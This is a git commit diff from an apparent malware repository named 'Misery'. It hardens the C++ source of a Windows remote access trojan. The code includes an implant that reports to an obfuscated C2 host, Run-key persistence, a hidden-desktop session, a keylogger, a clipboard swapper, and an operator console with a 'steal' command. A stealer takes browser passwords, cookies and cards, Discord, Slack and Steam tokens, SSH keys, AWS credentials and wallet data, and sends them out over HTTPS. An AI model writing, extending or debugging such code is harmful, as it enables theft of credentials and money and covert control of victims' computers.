mirror of
https://git.churchofmalware.org/JYenn/Misery
synced 2026-09-22 05:27:07 +00:00
worker shutdown, uncaught stealer exceptions, view window on demand
- stealer: list_dir() plus error_code file_size so a missing or unreadable path cannot throw out of collect_loot; read the OS build with RtlGetVersion because GetVersionEx is manifest-gated and reported 6.2; json_val delegates to json_get_string; drop the dead experimental-dir note - stealer/crypto: merge the two identical pbkdf2-hmac bodies into one helper; exfil sends the JSON directly instead of copying it - agent: wrap command dispatch in try/catch, matching the console, so a throwing command cannot kill the implant - console: open the HVNC view window only on the hvnc command, never at startup; keep the worker and view thread handles, join them, and close the agent socket before WSACleanup - hvnc/rat: join the worker until it exits before closing the handle; roll back start() when CreateThread fails - payload: free ThreadParams when CreateThread fails - cdp_client: balance WSAStartup in the destructor since close() is a mid-session reset reconnect reuses; cap WebSocket frame length; read the page type instead of matching an exact string; check AssignProcessToJobObject - http_server: deadline plus socket timeout on request reads, case-insensitive header match, validated Content-Length - gitignore: audit_build/
This commit is contained in:
@@ -1,5 +1,6 @@
|
||||
# Build artifacts
|
||||
build/
|
||||
audit_build/
|
||||
*.exe
|
||||
*.o
|
||||
*.obj
|
||||
|
||||
+17
-2
@@ -41,6 +41,9 @@
|
||||
|
||||
using namespace hvnc;
|
||||
|
||||
// Defined below; forward-declared so command dispatch can log an exception.
|
||||
static void dump_crash(const char* kind, unsigned code, const void* at);
|
||||
|
||||
static std::string g_host = OBF(HVNC_C2_HOST);
|
||||
static int g_port = HVNC_C2_PORT;
|
||||
static bool g_elevated = false; // relaunched by elevate; surfaced in REGISTER
|
||||
@@ -514,7 +517,13 @@ static void run_tcp_session(const SendFn& send, AgentSession& s, SOCKET sock) {
|
||||
Message cmd;
|
||||
cmd.type = (MsgType)t;
|
||||
cmd.body.assign(body.begin() + 4, body.end());
|
||||
handle_command(s, cmd, send);
|
||||
// A command must never take the implant down: contain any thrown
|
||||
// exception (resources from the stealer etc.), log, keep serving.
|
||||
try {
|
||||
handle_command(s, cmd, send);
|
||||
} catch (...) {
|
||||
dump_crash("command exception", 0, nullptr);
|
||||
}
|
||||
}
|
||||
|
||||
// Pending real-time output (frames, keylog), after dispatch so
|
||||
@@ -595,7 +604,13 @@ static void run_beacon_session(const beacon::BeaconConfig& cfg, AgentSession& s)
|
||||
Message cmd;
|
||||
cmd.type = (MsgType)t;
|
||||
cmd.body.assign(body.begin() + 4, body.end());
|
||||
handle_command(s, cmd, send);
|
||||
// A command must never take the implant down: contain any thrown
|
||||
// exception (resources from the stealer etc.), log, keep serving.
|
||||
try {
|
||||
handle_command(s, cmd, send);
|
||||
} catch (...) {
|
||||
dump_crash("command exception", 0, nullptr);
|
||||
}
|
||||
}
|
||||
|
||||
syscall::sleep_ms(beacon::jittered(cfg.sleep_ms));
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
// Run-key persistence (T1547.001): copy self to %APPDATA%, register HKCU Run.
|
||||
// Low-privilege, survives logon; deliberately minimal and documented because
|
||||
// the Run key is the single most-detected persistence point -- operators get
|
||||
// the Run key is the single most-detected persistence point; operators get
|
||||
// an honest, removable mechanism rather than a silent surprise.
|
||||
#include "persist.hpp"
|
||||
|
||||
|
||||
+1
-1
@@ -71,7 +71,7 @@ std::string run(const std::string& command) {
|
||||
char buf[4096];
|
||||
DWORD deadline = GetTickCount() + kRunTimeoutMs;
|
||||
bool truncated = false;
|
||||
// Poll loop: on child exit do not break immediately -- buffered output may
|
||||
// Poll loop: on child exit do not break immediately; buffered output may
|
||||
// still sit in the pipe, so drain until the pipe breaks or reads 0. A fast
|
||||
// command can exit between two polls; without this the output is lost.
|
||||
while (out.size() < kOutputCap) {
|
||||
|
||||
@@ -80,7 +80,17 @@ static bool ws_init() {
|
||||
return WSAStartup(MAKEWORD(2, 2), &wd) == 0;
|
||||
}
|
||||
|
||||
Client::~Client() { close(); }
|
||||
Client::~Client() {
|
||||
close();
|
||||
// Balance every successful WSAStartup from launch(). Done in the destructor,
|
||||
// not close(): close() is also a mid-session reset (send failure / WS close
|
||||
// frame) that reconnect() reuses Winsock after, so it must not tear Winsock
|
||||
// down.
|
||||
while (ws_refs_ > 0) {
|
||||
WSACleanup();
|
||||
ws_refs_--;
|
||||
}
|
||||
}
|
||||
|
||||
void Client::close() {
|
||||
if (sock_ != INVALID_SOCKET) {
|
||||
@@ -136,6 +146,7 @@ static bool read_whole_file(const std::wstring& path, std::string& out) {
|
||||
bool Client::launch(const std::wstring& desktop, const std::wstring& app,
|
||||
const std::wstring& args, const std::wstring& user_data_dir) {
|
||||
if (!ws_init()) return false;
|
||||
ws_refs_++;
|
||||
launch_desktop_ = desktop;
|
||||
launch_app_ = app;
|
||||
launch_args_ = args;
|
||||
@@ -182,7 +193,11 @@ bool Client::launch(const std::wstring& desktop, const std::wstring& app,
|
||||
JOBOBJECT_EXTENDED_LIMIT_INFORMATION ji = {};
|
||||
ji.BasicLimitInformation.LimitFlags = JOB_OBJECT_LIMIT_KILL_ON_JOB_CLOSE;
|
||||
SetInformationJobObject(h_job_, JobObjectExtendedLimitInformation, &ji, sizeof(ji));
|
||||
AssignProcessToJobObject(h_job_, pi.hProcess);
|
||||
// Assignment can fail (incompatible existing job association, etc.);
|
||||
// close() then falls back to TerminateProcess on the root only, and
|
||||
// descendant helpers may outlive it and hold the profile lock.
|
||||
if (!AssignProcessToJobObject(h_job_, pi.hProcess))
|
||||
printf("[cdp] job assignment failed; close() falls back to root TerminateProcess\n");
|
||||
}
|
||||
h_proc_ = pi.hProcess;
|
||||
|
||||
@@ -281,6 +296,10 @@ bool Client::ws_handshake(const std::string& host_port, const std::string& path)
|
||||
// ---------------------------------------------------------------------------
|
||||
// WebSocket framing (RFC 6455)
|
||||
// ---------------------------------------------------------------------------
|
||||
// Cap a peer-advertised frame/message length (RFC 6455 leaves limits to the
|
||||
// implementation); CDP screenshots stay far below this.
|
||||
constexpr uint64_t kMaxWsBytes = 64ull * 1024 * 1024;
|
||||
|
||||
bool Client::send_text(const std::string& payload) {
|
||||
if (sock_ == INVALID_SOCKET) return false;
|
||||
std::vector<uint8_t> frame;
|
||||
@@ -334,6 +353,8 @@ bool Client::read_frame(std::string& payload) {
|
||||
uint8_t mask[4] = {0};
|
||||
if (masked && !recvn((char*)mask, 4)) return false;
|
||||
|
||||
if (len > kMaxWsBytes) return false; // oversized frame: kill the session
|
||||
|
||||
std::string buf((size_t)len, '\0');
|
||||
if (len && !recvn(&buf[0], (size_t)len)) return false;
|
||||
if (masked) {
|
||||
@@ -357,6 +378,7 @@ bool Client::read_frame(std::string& payload) {
|
||||
}
|
||||
if (opcode == 0xA) continue; // server pong
|
||||
if (opcode == 0x1 || (opcode == 0x0 && started)) {
|
||||
if (assembled.size() + buf.size() > kMaxWsBytes) return false;
|
||||
assembled += buf;
|
||||
started = true;
|
||||
if (fin) {
|
||||
@@ -598,7 +620,7 @@ bool Client::input_win32(uint32_t wm, uintptr_t wp, uintptr_t lp) {
|
||||
// Control keys (Enter, Backspace, arrows) carry no text: their default
|
||||
// action fires on the keyDown alone. Printable keys are inserted by the
|
||||
// matching WM_CHAR event that follows, so keyDown deliberately has no
|
||||
// text -- putting text here AND in the char event double-inserts.
|
||||
// text; putting text here AND in the char event double-inserts.
|
||||
std::string key, code;
|
||||
vk_key_code(vk, key, code);
|
||||
std::ostringstream p;
|
||||
@@ -777,7 +799,7 @@ bool Client::navigate(const std::string& url) {
|
||||
|
||||
// The first target in /json/list with type "page" is often an extension
|
||||
// background page (no view surface; captureScreenshot on it never resolves).
|
||||
// Pick a page target that has a real URL -- i.e. not chrome-extension://.
|
||||
// Pick a page target that has a real URL, not a chrome-extension:// one.
|
||||
static std::string find_page_ws_url(const std::string& list) {
|
||||
static const char kKey[] = "\"webSocketDebuggerUrl\"";
|
||||
size_t pos = 0;
|
||||
@@ -786,7 +808,10 @@ static std::string find_page_ws_url(const std::string& list) {
|
||||
std::string obj = (obj_start == std::string::npos)
|
||||
? list.substr(0, pos)
|
||||
: list.substr(obj_start, pos - obj_start);
|
||||
if (obj.find("\"type\": \"page\"") != std::string::npos &&
|
||||
// Match the parsed value, not the formatting: the browser serializes
|
||||
// "type": "page" and "type":"page" interchangeably, so an exact-string
|
||||
// predicate would miss targets depending on the serializer's spacing.
|
||||
if (json_get_string(obj, "type") == "page" &&
|
||||
obj.find("chrome-extension://") == std::string::npos) {
|
||||
return json_get_string(list.substr(pos), "webSocketDebuggerUrl");
|
||||
}
|
||||
|
||||
@@ -44,7 +44,7 @@ public:
|
||||
|
||||
// Synchronous CDP command; returns the full reply JSON. False on transport
|
||||
// failure; on timeout the socket stays open so the caller can retry (a
|
||||
// cold software-rendered page can outlive the 12s default -- dropping the
|
||||
// cold software-rendered page can outlive the 12s default; dropping the
|
||||
// socket over it loses the session).
|
||||
bool command(const std::string& method, const std::string& params,
|
||||
std::string& out_message, unsigned long timeout_ms = 12000);
|
||||
@@ -92,6 +92,9 @@ private:
|
||||
// Input translation state so WM_* series maps onto CDP key/mouse events.
|
||||
int modifiers_ = 0;
|
||||
int buttons_ = 0;
|
||||
// WSAStartup references held by this client (one per launch); each is
|
||||
// balanced with a WSACleanup in close().
|
||||
int ws_refs_ = 0;
|
||||
};
|
||||
|
||||
// Minimal JSON field extraction for the replies we control.
|
||||
|
||||
+46
-13
@@ -418,8 +418,9 @@ static SOCKET g_sock = INVALID_SOCKET;
|
||||
static bool g_keylog_on = false;
|
||||
static bool g_clipswap_on = false;
|
||||
|
||||
// Legacy separate HVNC view window (--view).
|
||||
static bool g_want_view = false;
|
||||
// The hidden-desktop view window opens only on the `hvnc` command, never at
|
||||
// startup; g_view_thread makes open_view() idempotent and joinable at exit.
|
||||
static HANDLE g_view_thread = nullptr;
|
||||
|
||||
// The session key lands asynchronously (socket handshake thread, or the beacon
|
||||
// relay on any poll) while the REPL and view threads send from their own
|
||||
@@ -1637,7 +1638,7 @@ static DWORD WINAPI view_thread(LPVOID) {
|
||||
WS_THICKFRAME | WS_MINIMIZEBOX,
|
||||
CW_USEDEFAULT, CW_USEDEFAULT, 900, 600,
|
||||
nullptr, nullptr, GetModuleHandleW(nullptr), nullptr);
|
||||
if (!g_view) return 1;
|
||||
if (!g_view) { g_view_thread = nullptr; return 1; }
|
||||
ShowWindow(g_view, SW_SHOW);
|
||||
MSG msg;
|
||||
while (GetMessageW(&msg, nullptr, 0, 0) > 0) {
|
||||
@@ -1649,9 +1650,17 @@ static DWORD WINAPI view_thread(LPVOID) {
|
||||
}
|
||||
}
|
||||
g_view = nullptr;
|
||||
g_view_thread = nullptr;
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Spawn the hidden-desktop view window on demand. No-op if it is already open
|
||||
// or still being created, so the REPL command is idempotent.
|
||||
static void open_view() {
|
||||
if (g_view || g_view_thread) return;
|
||||
g_view_thread = CreateThread(nullptr, 0, view_thread, nullptr, 0, nullptr);
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// REPL command dispatch
|
||||
// ---------------------------------------------------------------------------
|
||||
@@ -1690,7 +1699,7 @@ static const wchar_t* HELP =
|
||||
L" bot list bots; 'bot <id>' targets one, 'bot all' broadcasts\n"
|
||||
L" steal run credentials/cookies/cards steal\n"
|
||||
L" loot | dump show the last steal result as a boxed terminal dump\n"
|
||||
L" hvnc start start hidden desktop session\n"
|
||||
L" hvnc start start hidden desktop session (opens view window)\n"
|
||||
L" hvnc stop stop hidden desktop\n"
|
||||
L" hvnc launch [path] launch an app (default chrome) on the hidden desktop\n"
|
||||
L" hvnc quality [10-100] set streamed frame JPEG quality (default 90)\n"
|
||||
@@ -1799,6 +1808,9 @@ static bool handle_cmd(const std::wstring& line) {
|
||||
if (t.size() < 2) {
|
||||
log_err(L"usage: hvnc start | stop | launch [path] | quality [10-100]");
|
||||
} else if (to_lower(t[1]) == L"start") {
|
||||
// The view window is only meaningful once a session runs; open it
|
||||
// here (and never at console startup) so nothing pops up on load.
|
||||
open_view();
|
||||
send_msg(MsgType::HVNC_START, {});
|
||||
log_ok(L"hvnc start sent");
|
||||
} else if (to_lower(t[1]) == L"stop") {
|
||||
@@ -1817,6 +1829,7 @@ static bool handle_cmd(const std::wstring& line) {
|
||||
log_err(L"usage: hvnc quality [10-100]");
|
||||
}
|
||||
} else if (to_lower(t[1]) == L"launch") {
|
||||
open_view(); // the launched app renders on the hidden desktop feed
|
||||
std::wstring path = t.size() >= 3
|
||||
? t[2]
|
||||
: L"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe";
|
||||
@@ -1896,17 +1909,15 @@ static bool handle_cmd(const std::wstring& line) {
|
||||
// ---------------------------------------------------------------------------
|
||||
static void print_usage() {
|
||||
printf("misery - hvnc operator console\n"
|
||||
"usage: console [--view] [--help]\n"
|
||||
"usage: console [--help]\n"
|
||||
"\n"
|
||||
" --view open the HVNC view window\n"
|
||||
" --help show this help\n");
|
||||
}
|
||||
|
||||
int main(int argc, char** argv) {
|
||||
for (int i = 1; i < argc; i++) {
|
||||
std::string a = argv[i];
|
||||
if (a == "--view") { g_want_view = true; }
|
||||
else if (a == "--help" || a == "-h") {
|
||||
if (a == "--help" || a == "-h") {
|
||||
print_usage();
|
||||
return 0;
|
||||
} else {
|
||||
@@ -1956,11 +1967,15 @@ int main(int argc, char** argv) {
|
||||
g_key.assign(key::kKeyLen, 0);
|
||||
g_key_ready = false;
|
||||
|
||||
// Listener + view only make sense once configured.
|
||||
// The listener starts here. The hidden-desktop view window is not opened at
|
||||
// startup; the `hvnc` command opens it once a session runs. The worker
|
||||
// handle is kept so shutdown can join it before WSACleanup: closing a
|
||||
// handle does not terminate the thread, and Winsock calls from a live
|
||||
// worker after WSACleanup are undefined.
|
||||
SOCKET server = INVALID_SOCKET;
|
||||
HANDLE worker = nullptr;
|
||||
#if HVNC_TRANSPORT == 1
|
||||
if (g_want_view) CreateThread(nullptr, 0, view_thread, nullptr, 0, nullptr);
|
||||
CreateThread(nullptr, 0, http_relay_thread, nullptr, 0, nullptr);
|
||||
worker = CreateThread(nullptr, 0, http_relay_thread, nullptr, 0, nullptr);
|
||||
#else
|
||||
server = socket(AF_INET, SOCK_STREAM, 0);
|
||||
sockaddr_in addr{};
|
||||
@@ -1972,8 +1987,7 @@ int main(int argc, char** argv) {
|
||||
log_err(L"bind/listen failed");
|
||||
return 1;
|
||||
}
|
||||
if (g_want_view) CreateThread(nullptr, 0, view_thread, nullptr, 0, nullptr);
|
||||
CreateThread(nullptr, 0, accept_thread, (LPVOID)(uintptr_t)server, 0, nullptr);
|
||||
worker = CreateThread(nullptr, 0, accept_thread, (LPVOID)(uintptr_t)server, 0, nullptr);
|
||||
#endif
|
||||
|
||||
print_banner();
|
||||
@@ -1998,10 +2012,29 @@ int main(int argc, char** argv) {
|
||||
#if HVNC_TRANSPORT == 1
|
||||
httpsrv::stop();
|
||||
#else
|
||||
// Close the listener first so accept_thread cannot take a new connection,
|
||||
// then the active agent socket so socket_thread's blocked recv returns;
|
||||
// without the latter accept_thread never finishes its INFINITE join.
|
||||
closesocket(server);
|
||||
if (g_sock != INVALID_SOCKET) {
|
||||
closesocket(g_sock);
|
||||
g_sock = INVALID_SOCKET;
|
||||
}
|
||||
#endif
|
||||
history_save();
|
||||
if (g_view) PostMessageW(g_view, WM_CLOSE, 0, 0);
|
||||
// Join the worker and the view window before WSACleanup: Winsock calls
|
||||
// after WSACleanup are undefined, and the accept/socket/relay threads sit
|
||||
// in recv until the shutdown signals above land.
|
||||
if (worker) {
|
||||
WaitForSingleObject(worker, 6000);
|
||||
CloseHandle(worker);
|
||||
}
|
||||
if (g_view_thread) {
|
||||
WaitForSingleObject(g_view_thread, 6000);
|
||||
CloseHandle(g_view_thread);
|
||||
g_view_thread = nullptr;
|
||||
}
|
||||
WSACleanup();
|
||||
return 0;
|
||||
}
|
||||
+26
-3
@@ -116,6 +116,15 @@ bool HvncSession::start() {
|
||||
input_head_ = 0;
|
||||
input_tail_ = 0;
|
||||
input_thread_ = CreateThread(nullptr, 0, &HvncSession::input_proc, this, 0, nullptr);
|
||||
if (!input_thread_) {
|
||||
// No input worker: the session would capture a desktop nobody can
|
||||
// drive. Roll back the desktop + job so a later start() retries clean
|
||||
// instead of reporting a running session with no input delivery.
|
||||
if (hjob_) { CloseHandle(hjob_); hjob_ = nullptr; }
|
||||
if (hdesk_) { CloseDesktop(hdesk_); hdesk_ = nullptr; }
|
||||
LeaveCriticalSection(&lock_);
|
||||
return false;
|
||||
}
|
||||
|
||||
running_ = true;
|
||||
LeaveCriticalSection(&lock_);
|
||||
@@ -132,7 +141,19 @@ void HvncSession::stop() {
|
||||
InterlockedExchange(&input_quit_, 1);
|
||||
if (input_event_) SetEvent(input_event_);
|
||||
if (input_thread_) {
|
||||
WaitForSingleObject(input_thread_, 5000);
|
||||
// The input thread re-checks the quit flag at least every 40ms and only
|
||||
// blocks in bounded calls, so it exits promptly once signaled. Only
|
||||
// close the handle after it really has: closing a live handle does not
|
||||
// terminate the worker, and the teardown below frees state (desktop,
|
||||
// canvas, members) it would still read.
|
||||
DWORD wr = WaitForSingleObject(input_thread_, 5000);
|
||||
if (wr == WAIT_TIMEOUT) {
|
||||
// Genuinely wedged (not expected): terminate explicitly so teardown
|
||||
// is safe. The worker never takes the session lock, so terminating
|
||||
// it cannot abandon a critical section.
|
||||
TerminateThread(input_thread_, 0);
|
||||
WaitForSingleObject(input_thread_, 1000);
|
||||
}
|
||||
CloseHandle(input_thread_);
|
||||
input_thread_ = nullptr;
|
||||
}
|
||||
@@ -185,7 +206,8 @@ bool HvncSession::launch(const std::wstring& app, const std::wstring& args, cons
|
||||
if (h) {
|
||||
// Descendants spawned after the root joins the job are in it
|
||||
// automatically, so the whole tree dies with the session.
|
||||
if (hjob_) AssignProcessToJobObject(hjob_, h);
|
||||
if (hjob_ && !AssignProcessToJobObject(hjob_, h))
|
||||
printf("[hvnc] job assignment failed; process reaped by procs_ fallback\n");
|
||||
procs_.push_back(h);
|
||||
}
|
||||
ok = true;
|
||||
@@ -202,7 +224,8 @@ bool HvncSession::launch_browser(const std::wstring& app, const std::wstring& ar
|
||||
HANDLE h = nullptr;
|
||||
if (launch_browser_on_desktop(desktop_name_, app, args, dir, &h)) {
|
||||
if (h) {
|
||||
if (hjob_) AssignProcessToJobObject(hjob_, h);
|
||||
if (hjob_ && !AssignProcessToJobObject(hjob_, h))
|
||||
printf("[hvnc] job assignment failed; process reaped by procs_ fallback\n");
|
||||
procs_.push_back(h);
|
||||
}
|
||||
ok = true;
|
||||
|
||||
@@ -159,6 +159,7 @@ BOOL APIENTRY DllMain(HMODULE hModule, DWORD reason, LPVOID lpReserved) {
|
||||
auto params = new ThreadParams{hModule, lpReserved};
|
||||
HANDLE hThread = CreateThread(NULL, 0, PayloadThread, params, 0, NULL);
|
||||
if (hThread) CloseHandle(hThread);
|
||||
else delete params; // thread never took ownership on failure
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
+19
-2
@@ -24,16 +24,33 @@ Keylogger::~Keylogger() { stop(); DeleteCriticalSection(&lock_); }
|
||||
|
||||
bool Keylogger::start() {
|
||||
if (running_.load()) return true;
|
||||
// running_ is set before the worker starts (the worker gates on it) but
|
||||
// rolled back on failure, so a failed start never leaves the object in a
|
||||
// running state that a later start() would trust.
|
||||
running_.store(true);
|
||||
thread_ = CreateThread(nullptr, 0, thread_proc, this, 0, nullptr);
|
||||
return thread_ != nullptr;
|
||||
if (!thread_) {
|
||||
running_.store(false);
|
||||
return false;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
void Keylogger::stop() {
|
||||
if (!running_.load()) return;
|
||||
running_.store(false);
|
||||
if (thread_) {
|
||||
WaitForSingleObject(thread_, 1000);
|
||||
// The worker re-checks running_ every ~10ms, so it exits within one
|
||||
// loop pass. Only close the handle after it really has: closing a live
|
||||
// handle does not terminate the worker, and the destructor frees the
|
||||
// members (buffer_, lock_) it would still touch.
|
||||
DWORD wr = WaitForSingleObject(thread_, 2000);
|
||||
if (wr == WAIT_TIMEOUT) {
|
||||
// Unreachable in practice (the loop exits in well under a second).
|
||||
// Terminate explicitly; the worker holds lock_ only inside push().
|
||||
TerminateThread(thread_, 0);
|
||||
WaitForSingleObject(thread_, 1000);
|
||||
}
|
||||
CloseHandle(thread_);
|
||||
thread_ = nullptr;
|
||||
}
|
||||
|
||||
@@ -73,9 +73,11 @@ std::vector<uint8_t> md5(const std::vector<uint8_t>& data) {
|
||||
return bcrypt_hash(BCRYPT_MD5_ALGORITHM, data.data(), data.size());
|
||||
}
|
||||
|
||||
std::vector<uint8_t> pbkdf2_hmac_sha512(const std::vector<uint8_t>& password, const std::vector<uint8_t>& salt, uint32_t iterations, size_t dk_len) {
|
||||
static std::vector<uint8_t> pbkdf2_hmac(LPCWSTR algorithm, const std::vector<uint8_t>& password,
|
||||
const std::vector<uint8_t>& salt, uint32_t iterations,
|
||||
size_t dk_len) {
|
||||
BCRYPT_ALG_HANDLE hAlg = NULL;
|
||||
if (BCryptOpenAlgorithmProvider(&hAlg, BCRYPT_SHA512_ALGORITHM, NULL, BCRYPT_ALG_HANDLE_HMAC_FLAG) != 0) return {};
|
||||
if (BCryptOpenAlgorithmProvider(&hAlg, algorithm, NULL, BCRYPT_ALG_HANDLE_HMAC_FLAG) != 0) return {};
|
||||
|
||||
std::vector<uint8_t> out(dk_len);
|
||||
NTSTATUS status = BCryptDeriveKeyPBKDF2(hAlg, (PUCHAR)password.data(), (ULONG)password.size(),
|
||||
@@ -87,18 +89,12 @@ std::vector<uint8_t> pbkdf2_hmac_sha512(const std::vector<uint8_t>& password, co
|
||||
return out;
|
||||
}
|
||||
|
||||
std::vector<uint8_t> pbkdf2_hmac_sha512(const std::vector<uint8_t>& password, const std::vector<uint8_t>& salt, uint32_t iterations, size_t dk_len) {
|
||||
return pbkdf2_hmac(BCRYPT_SHA512_ALGORITHM, password, salt, iterations, dk_len);
|
||||
}
|
||||
|
||||
std::vector<uint8_t> pbkdf2_hmac_sha1(const std::vector<uint8_t>& password, const std::vector<uint8_t>& salt, uint32_t iterations, size_t dk_len) {
|
||||
BCRYPT_ALG_HANDLE hAlg = NULL;
|
||||
if (BCryptOpenAlgorithmProvider(&hAlg, BCRYPT_SHA1_ALGORITHM, NULL, BCRYPT_ALG_HANDLE_HMAC_FLAG) != 0) return {};
|
||||
|
||||
std::vector<uint8_t> out(dk_len);
|
||||
NTSTATUS status = BCryptDeriveKeyPBKDF2(hAlg, (PUCHAR)password.data(), (ULONG)password.size(),
|
||||
(PUCHAR)salt.data(), (ULONG)salt.size(),
|
||||
iterations, out.data(), (ULONG)out.size(), 0);
|
||||
|
||||
BCryptCloseAlgorithmProvider(hAlg, 0);
|
||||
if (status != 0) return {};
|
||||
return out;
|
||||
return pbkdf2_hmac(BCRYPT_SHA1_ALGORITHM, password, salt, iterations, dk_len);
|
||||
}
|
||||
|
||||
// AES-256-CBC with PKCS7 padding stripped (mRemoteNG < 1.75).
|
||||
|
||||
@@ -55,11 +55,10 @@ bool exfil_https(const std::string& json_data, const std::string& endpoint_url)
|
||||
const wchar_t* headers = L"Content-Type: application/json\r\n";
|
||||
WinHttpAddRequestHeaders(hRequest, headers, (DWORD)-1, WINHTTP_ADDREQ_FLAG_ADD);
|
||||
|
||||
std::string send_data = json_data;
|
||||
BOOL result = WinHttpSendRequest(hRequest,
|
||||
WINHTTP_NO_ADDITIONAL_HEADERS, 0,
|
||||
(LPVOID)send_data.c_str(), (DWORD)send_data.size(),
|
||||
(DWORD)send_data.size(), 0);
|
||||
(LPVOID)json_data.data(), (DWORD)json_data.size(),
|
||||
(DWORD)json_data.size(), 0);
|
||||
|
||||
if (result) {
|
||||
result = WinHttpReceiveResponse(hRequest, NULL);
|
||||
|
||||
+44
-25
@@ -20,6 +20,25 @@
|
||||
|
||||
namespace fs = std::filesystem;
|
||||
|
||||
// GetVersionEx is manifest-gated on Windows 8.1+ and reports the Windows 8
|
||||
// version (6.2) for any image without a supportedOS manifest entry, so the
|
||||
// reported OS was always wrong. RtlGetVersion (ntdll) is not gated.
|
||||
// OSVERSIONINFOEXW is used (not RTL_OSVERSIONINFOEXW) so the declaration
|
||||
// resolves under both MSVC and MinGW; the layouts are identical.
|
||||
extern "C" NTSTATUS NTAPI RtlGetVersion(OSVERSIONINFOEXW*);
|
||||
|
||||
// Non-throwing single-level directory listing. The range-for over
|
||||
// fs::directory_iterator throws filesystem_error when the path is missing or
|
||||
// unreadable, and an exception here escapes to the agent top level and kills
|
||||
// it (uncaught 0xE06D7363). Returns an empty list on any OS error instead.
|
||||
static std::vector<fs::directory_entry> list_dir(const std::wstring& dir) {
|
||||
std::vector<fs::directory_entry> out;
|
||||
std::error_code ec;
|
||||
for (fs::directory_iterator it(dir, ec), end; !ec && it != end; it.increment(ec))
|
||||
out.push_back(*it);
|
||||
return out;
|
||||
}
|
||||
|
||||
void gather_browser_paths(std::vector<BrowserPath>& paths) {
|
||||
PWSTR local_path = nullptr, roaming_path = nullptr;
|
||||
std::wstring local, roaming;
|
||||
@@ -58,7 +77,7 @@ void gather_browser_paths(std::vector<BrowserPath>& paths) {
|
||||
if (!fs::exists(profile_base)) {
|
||||
// Find an available profile.
|
||||
bool found = false;
|
||||
for (auto& entry : fs::directory_iterator(ch.path)) {
|
||||
for (auto& entry : list_dir(ch.path)) {
|
||||
if (entry.is_directory()) {
|
||||
auto pname = entry.path().filename().wstring();
|
||||
if (pname == L"Default" || pname.find(L"Profile") == 0) {
|
||||
@@ -83,7 +102,7 @@ void gather_browser_paths(std::vector<BrowserPath>& paths) {
|
||||
paths.push_back(bp);
|
||||
|
||||
// Additional profiles
|
||||
for (auto& entry : fs::directory_iterator(ch.path)) {
|
||||
for (auto& entry : list_dir(ch.path)) {
|
||||
if (entry.is_directory()) {
|
||||
auto pname = entry.path().filename().wstring();
|
||||
if (pname != L"Default" && pname.find(L"Profile") == 0) {
|
||||
@@ -109,7 +128,7 @@ void gather_browser_paths(std::vector<BrowserPath>& paths) {
|
||||
|
||||
for (auto& ff : firefoxes) {
|
||||
if (!fs::exists(ff.path)) continue;
|
||||
for (auto& entry : fs::directory_iterator(ff.path)) {
|
||||
for (auto& entry : list_dir(ff.path)) {
|
||||
if (!entry.is_directory()) continue;
|
||||
auto pname = entry.path().filename().wstring();
|
||||
if (pname.find(L".") == std::string::npos) continue;
|
||||
@@ -537,7 +556,7 @@ std::vector<DiscordToken> steal_discord() {
|
||||
std::wstring ldb_path = base + L"\\Local Storage\\leveldb";
|
||||
if (!fs::exists(ldb_path)) continue;
|
||||
|
||||
for (auto& entry : fs::directory_iterator(ldb_path)) {
|
||||
for (auto& entry : list_dir(ldb_path)) {
|
||||
if (entry.path().extension() != L".ldb" && entry.path().extension() != L".log") continue;
|
||||
std::ifstream f(entry.path(), std::ios::binary);
|
||||
if (!f) continue;
|
||||
@@ -785,7 +804,7 @@ SteamInfo steal_steam() {
|
||||
|
||||
// Look for SSFN files with a decimal account ID suffix.
|
||||
fs::path steam_dir = fs::path(p).parent_path();
|
||||
for (auto& entry : fs::directory_iterator(steam_dir)) {
|
||||
for (auto& entry : list_dir(steam_dir)) {
|
||||
auto fn = entry.path().filename().string();
|
||||
if (fn.size() >= 6 && fn.substr(0, 4) == "ssfn" &&
|
||||
std::all_of(fn.begin() + 4, fn.end(), [](unsigned char c) { return std::isdigit(c); })) {
|
||||
@@ -836,7 +855,7 @@ std::string steal_ssh_keys() {
|
||||
fs::path ssh_dir = fs::path(home) / ".ssh";
|
||||
if (!fs::exists(ssh_dir)) return result;
|
||||
|
||||
for (auto& entry : fs::directory_iterator(ssh_dir)) {
|
||||
for (auto& entry : list_dir(ssh_dir)) {
|
||||
if (entry.is_regular_file() && entry.path().filename().string().find("id_") == 0) {
|
||||
std::ifstream f(entry.path());
|
||||
if (!f) continue;
|
||||
@@ -861,7 +880,7 @@ std::string steal_aws_creds() {
|
||||
if (!fs::exists(aws_dir)) return "";
|
||||
|
||||
std::string result;
|
||||
for (auto& entry : fs::directory_iterator(aws_dir)) {
|
||||
for (auto& entry : list_dir(aws_dir)) {
|
||||
if (!entry.is_regular_file()) continue;
|
||||
std::ifstream f(entry.path());
|
||||
result += entry.path().filename().string() + ":\n";
|
||||
@@ -877,7 +896,7 @@ std::string steal_slack_tokens() {
|
||||
std::wstring slack_ldb = std::wstring(roaming) + L"\\Slack\\Local Storage\\leveldb";
|
||||
|
||||
if (!fs::exists(slack_ldb)) return result;
|
||||
for (auto& entry : fs::directory_iterator(slack_ldb)) {
|
||||
for (auto& entry : list_dir(slack_ldb)) {
|
||||
if (entry.path().extension() != L".ldb" && entry.path().extension() != L".log") continue;
|
||||
std::ifstream f(entry.path(), std::ios::binary);
|
||||
if (!f) continue;
|
||||
@@ -898,9 +917,11 @@ std::string steal_signal_data() {
|
||||
if (!fs::exists(signal_dir)) return "";
|
||||
|
||||
std::string result;
|
||||
for (auto& entry : fs::directory_iterator(signal_dir)) {
|
||||
for (auto& entry : list_dir(signal_dir)) {
|
||||
std::error_code fec;
|
||||
auto sz = entry.is_directory() ? 0 : fs::file_size(entry.path(), fec);
|
||||
result += wide_to_utf8(entry.path().filename().wstring()) + " (" +
|
||||
std::to_string(entry.is_directory() ? 0 : fs::file_size(entry.path())) + " bytes)\n";
|
||||
std::to_string(fec ? 0 : sz) + " bytes)\n";
|
||||
}
|
||||
return result;
|
||||
}
|
||||
@@ -943,7 +964,7 @@ std::vector<WalletData> steal_wallets(const BrowserPath& bp) {
|
||||
fs::path user_data = bp.user_data;
|
||||
for (auto& w : wallets) {
|
||||
// Check every profile for extension data.
|
||||
for (auto& entry : fs::directory_iterator(user_data)) {
|
||||
for (auto& entry : list_dir(user_data)) {
